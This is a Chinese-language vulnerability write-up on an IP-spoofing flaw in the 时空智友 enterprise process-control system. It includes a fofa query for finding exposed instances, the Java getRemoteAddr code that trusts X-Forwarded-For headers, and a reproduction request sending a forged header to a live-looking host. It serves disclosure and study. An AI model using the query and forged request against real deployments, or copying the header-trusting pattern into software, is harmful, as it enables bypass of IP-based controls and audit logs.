漏洞简介

时空智友企业流程化管控系统是一款基于Java开发的企业信息管理软件，致力于协助大健康企业构建内部信息化，解决GSP管理、多组织管理、财务管理、税控管理、线上线下一体化等问题，帮助企业实现流程化管控，提高工作效率和管理水平。时空智友企业流程化管控系统 getRemoteAddr 存在设计缺陷漏洞，攻击者可利用header头伪造访问IP。

影响版本

fofa语法

app="时空智友V10.1" || app="时空智友-企业信息系统" || app="时空智友-企业管理"

漏洞分析

直接看 GeneralUtility.getRemoteAddr 方法的实现，如下

public static String getRemoteAddr(HttpServletRequest request) {
    if (request == null) {
        return "unknown";
    } else {
        String ip = request.getHeader("x-forwarded-for");
        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("Proxy-Client-IP");
        }

        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("X-Forwarded-For");
        }

        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("WL-Proxy-Client-IP");
        }

        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("Cdn-Src-Ip");
        }

        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("X-Real-IP");
        }

        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }

        return "0:0:0:0:0:0:0:1".equals(ip) ? "127.0.0.1" : ip;
    }
}

执行流程如下

再找一个调用 GeneralUtility.getRemoteAddr 方法的地方

public class UtilityServiceImpl {
    private static Logger a = LoggerFactory.getLogger(UtilityServiceImpl.class);

    public String getClientIP(HttpServletRequest var1, HttpServletResponse var2) {
        return GeneralUtility.getRemoteAddr(var1);
    }

漏洞复现

GET /formservice?service=utility.getClientIP HTTP/1.1
Host: bjskzy.mrxn.net
X-Forwarded-For: 127.0.0.2

在响应里可以看到获取到的IP就是我们header的xff伪造IP。